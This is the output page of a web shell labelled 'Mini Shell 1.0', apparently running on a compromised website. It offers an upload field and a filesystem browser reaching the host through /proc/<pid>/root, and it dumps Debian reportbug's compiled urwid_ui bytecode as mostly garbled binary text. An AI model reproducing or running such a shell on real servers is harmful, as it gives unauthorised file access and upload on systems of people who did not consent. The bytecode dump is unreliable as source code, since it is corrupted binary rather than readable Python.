HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991108/root/usr/lib/python3/dist-packages/reportbug/ui/__pycache__/
Upload File :
Current File : //proc/1991108/root/usr/lib/python3/dist-packages/reportbug/ui/__pycache__/urwid_ui.cpython-311.pyc
�

�&=d7T��Z�ddlZddlZddlZddlZddlmZmZmZmZm	Z	ddl
mZddlm
Z
mZmZmZddlmZ	ddlZddlZn#e$red���wxYwej���ZeZd�Zd	�ZGd
�de��Zd�ZGd
�dej��Z Gd�de!��Z"Gd�de"��Z#Gd�de"��Z$Gd�de"��Z%Gd�de%��Z&d�Z'd�Z(e(Z)e(Z*		d.d�Z+d/d�Z,		d0d �Z-		d1d!�Z.d2d"�Z/			d3d%�Z0d4d&�Z1d5d'�Z2		d6d)�Z3				d7d*�Z4gd+�Z5d,�Z6d-�Z7dS)8�N)�UINotImportable�	NoPackage�NoBugs�NoReport�
QuertBTSError)�launch_browser�)�display_report�ewrite�spawn_editor�system)�VERSIONz?Please install the python3-urwid package to use this interface.c��tj���}|�t��|�d���|S)Ng�������?)�max_wait)�urwid�raw_display�Screen�register_palette�palette�set_input_timeouts)�uis �7/usr/lib/python3/dist-packages/reportbug/ui/urwid_ui.py�initialize_urwid_uir7sF��	�	�	!�	!�	#�	#�B����� � � ����3��'�'�'�
�I�c��dS�N�rrr�nullfuncr@s���Drc��eZdZdS)�
buttonpushN)�__name__�
__module__�__qualname__rrrr r Es�������Drr c�*�t|j���r�r �exitcode)�buttons r�button_pressr(Is��
�V�_�
%�
%�%rc��eZdZd�ZdS)�SelectableTextc��dS)NFr)�self�chs  r�
valid_charzSelectableText.valid_charNs���urN)r!r"r#r.rrrr*r*Ms#����������rr*c�B�eZdZ		dd�Zd
d�Zd�Zd�Zd	�Zd
�Zdd�Z	dS)�dialogN�c��||_d|_|sx|rIt|���}|�d��t	j|g��x|_}d|_n-t	jt	j��d��x|_}|sd}|sd}t	j|d���|_	|rCt	j
t	j|��t	j��g��|j	_|j	}t	j
|d	d
��}t	j|dd��}t	j|d
��}|r/t	j|��}t	jd|f��|_t	j|ddt	jt	jt	jd��d��d��fg��}t	j|t	jt	jd��d�����}t	j
|d|��}t	j|d|��}t	j|d��}||_dS)NF)�	edit_textrT�top��relative�P�footer)�
focus_part)z
fixed left�)zfixed rightr:)z	fixed topr	)zfixed bottomr	�body�title�fixedr	)�border� �shadow)r8�center�middler>)r;�
scrollmoder*�set_edit_posr�ListBox�Filler�Divider�Frame�frame�Pile�Text�header�Padding�AttrWrap�Columns�view)	r,�messager;�width�heightr<�long_message�box�ws	         r�__init__zdialog.__init__Ss
����	�����	H��
H�$�|�<�<�<��� � ��#�#�#�#(�=�#��#7�#7�7��	�D�"&����#(�<��
����#G�#G�G��	�D��	%�$�E��	&�%�F��[��(�;�;�;��
��	>� %�
�E�J�w�,?�,?�,1�M�O�O�,=�!>�!>�D�J��
�J���M�!�.�0B�C�C���L��,�.A�B�B���N�1�f�%�%���	4���A���A��z�7�E�"2�3�3�A�H�
�M�1�w��5�>�%�,�u�z�Ra�Gb�Gb�di�:j�:j�lt�+u�+u�v�w�x�x���K��%�.���O�1L�1L�h�"W�"W�X�X�X���M�!�X�u�-�-���L��H�f�-�-���N�1�h�'�'����	�	�	rrFc�(�g}|D]�\}}|dkr*tj|��}tj|d��}n7tj||j��}||_tj|dd��}|�|����|r�tj|��}|�|pd��tj	tj|d����|_
tj|j
tt|��d����|j_dStj|ddd	d
��|_
|j
�|pd��tjtj��|j
gd	���|j_dS)N�---�scrolllabel�
selectable�focusr�
��r	rA)�
focus_item)rrKrN�Buttonr(r&�appendrE�	set_focusrH�buttons�
BoxAdapter�min�lenrIr8�GridFlowrJrG)	r,rd�default�vertical�li�namer&�brUs	         r�add_buttonszdialog.add_buttonsse��
��%�		�		�N�D�(��5� � ��J�t�$�$���N�1�m�4�4����L��t�'8�9�9��%��
��N�1�l�G�<�<���I�I�a�L�L�L�L��		9��-��#�#�C��M�M�'�,�Q�'�'�'� �;�u�~�c�<�'H�'H�I�I�D�L� %� 0���s�3�r�7�7�B�?O�?O� P� P�D�J���� �>�"�b�!�Q��A�A�D�L��L�"�"�7�<�a�0�0�0� %�
�E�M�O�O�T�\�+J�67�!9�!9�!9�D�J���rc�*�t|j���rr%)r,r's  rr(zdialog.button_press�s�����)�)�)rc	��|j���}		|j�|d���}|j�||��d}|s|j���}|�|D]�}tj�|��r'|\}}}}|j�	|||||d���|dkr|j���}|j�
||��}|r|�||������#t$r*}	|�
|	jd��cYd}	~	Sd}	~	wwxYw)NT�r\z
window resizer)r�
get_cols_rowsrP�render�draw_screen�	get_inputr�util�is_mouse_event�mouse_event�keypress�
unhandled_keyr �on_exit�args)
r,�size�canvas�keys�k�eventr'�col�row�es
          r�runz
dialog.run�s����w�$�$�&�&��	+�
4���)�)�$�d�)�;�;����#�#�D�&�1�1�1����/��7�,�,�.�.�D��/��
4�
4�A��z�0�0��3�3�:�23�/��v�s�C��	�-�-�d�.3�V�S�#�48�.�:�:�:��O�+�+�#�w�4�4�6�6���	�*�*�4��3�3�A��4��*�*�4��3�3�3��!
4��"�	+�	+�	+��<�<���q�	�*�*�*�*�*�*�*�*�����	+���s�C5D�
E�D?�9E�?Ec��|Srr�r,r&s  rr{zdialog.on_exit�s���rc�
�|dvrG|jj}|dkr|j�d��n|j�d��|dvrv|jr6|j�d��|j�||��n9|dvr|j�d��n|j�d��|dkr7|j�d��|j�||��dSdS)N)�tabz	shift tabr8r;)�up�page up�downz	page down)r�r��enter)rIr9rcrCr;ryrP)r,r}r�r\s    rrzzdialog.unhandled_key�s���$�$�$��J�)�E��� � ��
�$�$�V�,�,�,�,��
�$�$�X�.�.�.��6�6�6���
/��
�$�$�V�,�,�,��	�"�"�4��+�+�+�+��'�'�'��
�$�$�V�,�,�,�,��
�$�$�X�.�.�.���<�<��J� � ��*�*�*��I���t�Q�'�'�'�'�'��<rc�z�|r||_nt��|_|j�|j��Sr)rr�run_wrapperr�)r,rs  r�mainzdialog.main�s8��
�	,��D�G�G�)�+�+�D�G��w�"�"�4�8�,�,�,r)NNNr1r1)rFr)
r!r"r#rWrnr(r�r{rzr�rrrr0r0Rs�������>B�(*�*�*�*�*�X9�9�9�9�0*�*�*�+�+�+�0���(�(�(�,-�-�-�-�-�-rr0c��eZdZdd�ZdS)�
displayboxNc�D�|r||_nt��|_|j���}|j�|d���}|j���|j�||��|j���dS)NTrq)rrrrrPrs�startrt�stop)r,rr}r~s    r�showzdisplaybox.show�s���
�	,��D�G�G�)�+�+�D�G��w�$�$�&�&����!�!�$�d�!�3�3����
�
��������D�&�)�)�)���������rr)r!r"r#r�rrrr�r��s(������	�	�	�	�	�	rr�c� �eZdZ		dd�Zd�ZdS)�	textentryNFr1c��tj||���|_tj|jg��}tj|dd��}|s>tjdd|ftj��g��}tj|��}t�	||||||��|j
�d��dS)N)r3�	multiliner[�	focustextr=r	r;)r�Edit�editrErNrJrGrFr0rWrIrc)r,�textrRrSr�r<r3r;s        rrWztextentry.__init__�s����J��i�H�H�H��	��}�d�i�[�)�)���~�d�L�+�>�>���	&��:���D�1�5�=�?�?�C�D�D�D��<��%�%�D�����d�D�%���?�?�?��
���V�$�$�$�$�$rc�8�||j���fSr)r��
get_edit_textr�s  rr{ztextentry.on_exit�s�����0�0�2�2�2�2r)NNFr1r1�r!r"r#rWr{rrrr�r��s=������@E�%'�%�%�%�%�3�3�3�3�3rr�c� �eZdZ		dd�Zd�ZdS)�
listdialogFNr1r^c���g}g|_|D]x\}	}
|j�|	��|
r,tjd||	ftj|
��gd��}	tj|	dd��}	|�|	���ytj|��}tj|d��}t�||||||���|j	�
d��dS)Nr=r:r[r\)rSrRr;r<r;)�itemsrbrrOrKrNrEr0rWrIrc)r,r��widgets�has_defaultrRrSr<�buttonwidthrkrV�label�lbs            rrWzlistdialog.__init__�s���
����
�!�	�	�J�Q���J���a� � � ��
:��M�G�[�!�#<�#(�:�e�#4�#4�#6�78�:�:����q�,��8�8�A��I�I�a�L�L�L�L�
�]�2�
�
��
�^�B��
-�
-������d�6��R�#�	�	%�	%�	%�	
�
���V�$�$�$�$�$rc��|r|dfS|jD]>}t|d��r,|���r||���fcS�?|dfS)z#Print the tag of the item selected.N�	get_state)r��hasattrr��	get_label)r,r&�is   rr{zlistdialog.on_exitsj���	"��T�>�!���	/�	/�A��q�+�&�&�
/�1�;�;�=�=�
/�������.�.�.�.����~�r)FNNr1r^r�rrrr�r��s=������?C�46�%�%�%�%�&����rr�c��eZdZd�ZdS)�checklistdialogc��|r|gfSg}|jD]=}|���r'|�|������>||fS)z{
        Mimic dialog(1)'s --checklist exit.
        Put each checked item in double quotes with a trailing space.
        )r�r�rbr�)r,r&rkr�s    rr{zchecklistdialog.on_exitsa��
�	 ��R�<��
����	)�	)�A��{�{�}�}�
)��	�	�!�+�+�-�-�(�(�(����|�rN)r!r"r#r{rrrr�r�s#����������rr�c�V�|r|t|��z}d|vr	|d}nd}d|vr	|d}nd}tjd|��}d�|D��}d�|�����}td||pt���}|�|��dS)Nr<r1rz

+c�^�g|]*}tjdd|�������+S��\s+r?��re�sub�strip��.0�xs  r�
<listcomp>z#display_message.<locals>.<listcomp>1�2��
=�
=�
=��b�f�V�S�!�$�$�*�*�,�,�
=�
=�
=r�

�rTr<)�tupler��split�joinr�r�rr��rQr|�kwargsr<r�chunksrUs       r�display_messager�!s����(��E�$�K�K�'���&����w�������v�~�~�
�D�\���
���X�g�w�
'�
'�F�
=�
=�f�
=�
=�
=�F��k�k�&�!�!�'�'�)�)�G�
�R�g�U�5E�g�
F�
F�
F�C��H�H�R�L�L�L�L�Lrc��|r|t|��z}d|vr	|d}nd}d|vr	|d}nd}tjd|��}d�|D��}d�|�����}td||pt���}|�dg��|�|��dS)	Nr<r1rz
+c�^�g|]*}tjdd|�������+Sr�r�r�s  rr�z long_message.<locals>.<listcomp>Hr�rr�r���OKr)	r�r�r�r�r�r0rrnr�r�s       rrTrT8s����(��E�$�K�K�'���&����w�������v�~�~�
�D�\���
���X�e�W�
%�
%�F�
=�
=�f�
=�
=�
=�F��k�k�&�!�!�'�'�)�)�G�
��'��1A�'�
B�
B�
B�C��O�O�Y�K� � � ��H�H�R�L�L�L�L�LrFc�
�tjtj��}|�|d����d���}td|d|pt���}	|si}g}
d}t|��D]Z\}}
|
���r|}|
�	��}
|
�
|�|
|
��|
f���[|	�|
|d���|	�
|��}|S)N�replace)�errorsr1r5)rTrSr<T)rj)�locale�nl_langinfo�CODESET�encode�decoder0r�	enumerate�isupper�lowerrb�getrnr�)�msg�ok�help�
allow_numbers�nowraprr<�loc�safe_msgrUrdrir��option�results               r�select_optionsr�Ts��
�
�V�^�
,�
,�C��z�z�#�i�z�0�0�7�7�y�7�I�I�H�
��(�3C��'��)�)�)�C������G��G��r�]�]�;�;�	��6��>�>���	$��G��\�\�^�^�F���������0�0�&�9�:�:�:�:��O�O�G�W�t�O�4�4�4�
�X�X�b�\�\�F��MrTc��td|t���}|�ddgdt|��z
���|�|��}|S)Nr1r�)�YesT)�NoFr	)ri)r0rrn�intr�)r��yeshelp�nohelprir�rrUr�s        r�yes_nor�jsP��
��#�W�
5�
5�
5�C��O�O�]�M�2�A��G���<L�O�M�M�M�
�X�X�b�\�\�F��Mrr1c��|r
t�d|��}nt}t|||���}|�dg��|�|��\}}	|	p|S)N�: )r<r3r�)rr�rnr�)
�prompt�optionsr<�empty_ok�force_promptrirrU�coder�s
          r�
get_stringr�qsf����#�G�G�U�U�+�����
�F�%�7�
;�
;�
;�C��O�O�Y�K� � � ����"���J�D�$��?�7�rc���|r
t�d|��}nt}t|d���}|�dg��|�|��\}}|�d��}|S)Nr�T)r�r��
)rr�rnr�r�)	r�r�r<r�rrUr�r�rks	         r�
get_multiliner�~sp����#�G�G�U�U�+�����
�F�d�
+�
+�
+�C��O�O�Y�K� � � ����"���J�D�$�	
���D�	�	�B�
�Irc�*�tj|��Sr)�getpass)r�s r�get_passwordr��s���?�6�"�"�"r�Ok�Cancelc	�(��|sg}nt|��}�sd�|r
t�d|��}nt}t|t��r�|���}|r}g}|D]&}||vr |�|||f��||=�'t|�����}|���|D]}|�|���|}n5t|�����}|���g}|D]J\}}|r,|�|tj	dd|��f���3|�||f���K|}|r�fd�|D��}t||d|���}|
r|�|df|d	f|
d
fg��n|�|df|d	fg��|�|
��\}}|dkrdS|Sd�}g}g}|D]�\}}|dkr,tj|��}tj|d
��}d}nBtj||||��|�k���}||_tj|dd��}|�||f����t%||d|d���}|
r|�|df|d	f|
d
fg��n|�|df|d	fg��d}�r%t'|��D]\}}|d�kr|}n�|�|
��\}}|dkr|S|S)Nr1r�r�r?c�R��g|]#\}}tj||�k���|pdf��$S)��stater1)r�CheckBox)r�r��descris   �rr�zmenu.<locals>.<listcomp>�sM���?�?�?�$2�V�T��N�6�&�G�2C�E�E�E��J�B� �?�?�?rr5)rSr<r������c��|Srr)r�r�s  r�label_buttonzmenu.<locals>.label_button�s���
rrYrZr�r[r\r^)rSr<r�)�listr�
isinstance�dict�copyrbr��sortr�r�r�rnr�rrKrN�RadioButtonr&r�r�)�parr�r�rir<�any_ok�order�extras�multipler�r�oklabel�cancellabel�	quitlabel�olist�keyr��optsr�r�rUr��chosenr�rlistrmr\r��opts   `                         r�menur�s����������f����������#�G�G�U�U�+������'�4� � ���,�,�.�.���	��E��
%�
%���'�>�>��L�L�#�w�s�|�!4�5�5�5������7�=�=�?�?�+�+�G��L�L�N�N�N�!�
%�
%�����V�$�$�$�$��G�G��7�=�=�?�?�+�+�G��L�L�N�N�N�
�D��(�(�����	(��K�K������T�!:�!:�;�<�<�<�<��K�K����'�'�'�'��G���?�?�?�?�6=�?�?�?���c�7�3C�$)�+�+�+���	?��O�O�g�q�\�K��+<�'��_�.�
/�
/�
/�
/�
�O�O�g�q�\�K��+<�=�>�>�>����"�������A�:�:��4��
�����G��E��
"�
"�����U�?�?��
�4� � �A���q�-�0�0�A��D�D��!�%���f�d�)C�)C�F�V]�L]�_�_�_�A��A�J���q�,��8�8�A�����4�y�!�!�!�!�
�S�'�*:� �b�2�2�2�C��;����'�1���R�'8�9�b�/�J�K�K�K�K����'�1���R�'8�9�:�:�:�
�E�����(�(�	�	�F�A�s��1�v�� � �����!��X�X�b�\�\�N�F�F�
��z�z��
��Mrc�(�t||||���S)N)r<r�ri)r�)r�r<r�ris    r�get_filenamer�s"���f�E��%�'�'�'�'rc
�0�t||||||dd���S)NTF)r<rr
rr�)r)r
r�r�r<rr
s      r�select_multipler�s*����W�f�E��v���/�/�/�/r�noc
���ddlm}
|}|st��}|
j|}t	d||d||���|
�||||||���}
|
st
d|||���dStdd	d
d���}d
}	|
\}}|d}t|||j	||���}d}|r|dkrn5|dkrdS|dkr|St|
�|||�����fdS)Nr��debbugsz4Retrieving report #%d from %s bug tracking system...rl)r<r)�mirrors�
http_proxy�archivedzBug report #%d not found.r�zMore details (launch browser)zSubmit more information�Quit)�o�d�m�q�Odmqr	)r<rr�r%r(rr')�	reportbugr r�SYSTEMSr��
get_reportrTrr��subjectr�get_report_url)�number�btsr!r"�timeout�screen�	queryonlyr<r#�mbox_reader_cmdr r�sysinfo�infor��valid�buginfo�bodiesr;�rs                    r�show_reportr;�sl��"�!�!�!�!�!�	�B�
�#�
 �
"�
"���o�c�"�G��J��G�F�O�5�R�A�A�A�A����f�g�s�G�)3�h��H�H�D����0�&��"�M�M�M�M����T�<�.�&�:�:�:�G��E�
F� ���&��a�y���4��g�o�"�7�S�S�S��
���	�Q�#�X�X��
�#�X�X��2�
�#�X�X��N��w�-�-�c�6�8�D�D�E�E�E�
F��Frc
�2�#�ddlm}|j|}|�d��}|st	d|d��dS|}|st��}t
|t��r/|}|	r|dz
}td|j|d|||���nBtd	|j|dd
�	d�|D����||���d}	|�
|||||
|||	���\}}}nW#t$rJ}|�t��d
|d�dt|���d�}t|���d}~wwxYw	|s*|�t��|�t �t"�|dkrd|fz}nd|fz}g}|D]�\}}|�d|f��i�#|D]#}d}|jdkrd}|j|z�#|j<�$t-t/|j�#fd�t1�#|���D��������|dd}|rd}d} nd}d} 	t3t5d|d|||d|| ��	�	��}!d}|!dkr3|!d krd}n)|!d!krt6�|�|!|��d}nt;|!|||||�"��}"|"r|"}n�{n@#t $r3|�t��t=d#|�$��t �wxYw|r!t
||jj ��st6�|S)%Nrr�btsrootz8%s bug tracking system has no web URL; bypassing query.
rlz	 (source)z1Querying %s bug tracking system for reports on %s)rr<z.Querying %s bug tracking system for reports %sr?c�,�g|]}t|����Sr��strr�s  rr�z$handle_bts_query.<locals>.<listcomp>Bs��!:�!:�!:�Q�#�a�&�&�!:�!:�!:r)r!�versionr"r#�sourcezUnable to connect to z BTS (error: "z"); r	z%d bug reports foundz%d bug report foundrYr1�donez  [RESOLVED]c�>��g|]}t|���|f��Srr?)r�r��buglist_tmps  �rr�z$handle_bts_query.<locals>.<listcomp>fs(���)v�)v�)v�q�3�q�6�6�;�q�>�*B�)v�)v�)vr)�reverse�ExitzNew bugr$TzPSelect a bug to read (and possibly report more information) or report a new bug:zRead bug)rr<rirrrrr)r3z No record of this package found.)r<)!r*r r+r�rrrr@r�r��get_reports�	Exceptionr�r�reprrrrrb�pendingr-�bug_numr�map�sortedr�rrr,r;rT�	debianbts�	Bugreport)$�packager0r1r!r"r3r2r<r#rBrA�mbox�buglistr4�latest_firstr r5�rootr�pkgnamer��count�sectitle�	hierarchyr��errmsg�t�bugs�bugrC�prrr6�resrEs$                                   @r�handle_bts_queryr`&s5���"�!�!�!�!�!��o�c�"�G��;�;�y�!�!�D����J��v��	 �	 �	 ���	�B�
�#�
 �
"�
"���'�3���Q����	#��{�"�G��K����,�V�4�g��U�	,�	,�	,�	,�	,�	�H����,�V�4����!:�!:�'�!:�!:�!:�;�;��%�	Q�	Q�	Q�	Q��F�$�'.�':�':��W�c�7�G�!�H�V�(;�(E�(E�$���)�)���$�$�$�
���x� � � � �BI�&�/�/�/�SW�XY�SZ�SZ�SZ�SZ�[���F�#�#�#�����$����
>��8	��N�N�8�$�$�$�� ������q�y�y�1�U�H�<���0�E�8�;���G�&�

y�

y�	��D�����q�z�*�*�*� ���B�B�C��D��{�f�,�,�-��/2�{�T�/A�K���,�,��S���)v�)v�)v�)v�F�S^�ht�Lu�Lu�Lu�)v�)v�)v�w�w�x�x�x�x���
�1�
�A��
#�$�� �	�	�'��"�	�
��4� r� '���(�A�(2�,7�*3�	5�5�5�6�6��
���!�8�8��r�z�z�!%�������&��")�!3�!3�D�'�!B�!B�1�!E���%�d�C��*�&-��D�D�D�C���!$���-
���0����
���x� � � ��7�u�E�E�E�E���������j���):�)D�E�E�����Ms&�!D�
E�AE�E�EJ4�4=K1))r;�black�
light gray�standout)r>ra�	dark blue)r@�whitera)r[ra�	dark cyan)r\rerd�bold)r�rbrd)r<zdark redrb)rZrerfc��dS)NTrrrr�
initializeri�s���4rc�>�tj���Sr)�sys�stdin�isattyrrr�	can_inputrn�s���9�����r)NFFNN)TFN)NNFFr1N)NNFNr)NNFNNFFNr�r�N)NFr1)NNN)NFr1rN)Nr1FNr1rFNFNNF)8r�rkr�r��reportbug.exceptionsrrrrr�reportbug.urlutilsr�text_uir
rrr
r*r�urwid.raw_displayr�ImportErrorrlrm�ISATTY�log_messagerrrIr r(r�r*�objectr0r�r�r�r�r�rT�
final_message�display_failurer�r�r�r�r�rrrr;r`rrirnrrr�<module>rys��4�
�
�
�
�
�
�
�	�	�	�	�������������������.�-�-�-�-�-�������������������]������L�L�L�L���]�]�]�
�/�[�
\�
\�\�]����

��	�	�	�	�������	�	�	�
	�	�	�	�	��	�	�	�&�&�&������U�Z����
~-�~-�~-�~-�~-�V�~-�~-�~-�B
�
�
�
�
��
�
�
�3�3�3�3�3��3�3�3�$���������>
�
�
�
�
�j�
�
�
� ���.���0�
���DI�"&�����,����OT�"�
�
�
�
�BG������#�#�#�#�AF�EI�7;�_�_�_�_�F'�'�'�'�
/�/�/�/�JL�/3�%�%�%�%�PFH�FJ�EI�8=�m�m�m�m�`	�	�	���������s�A�A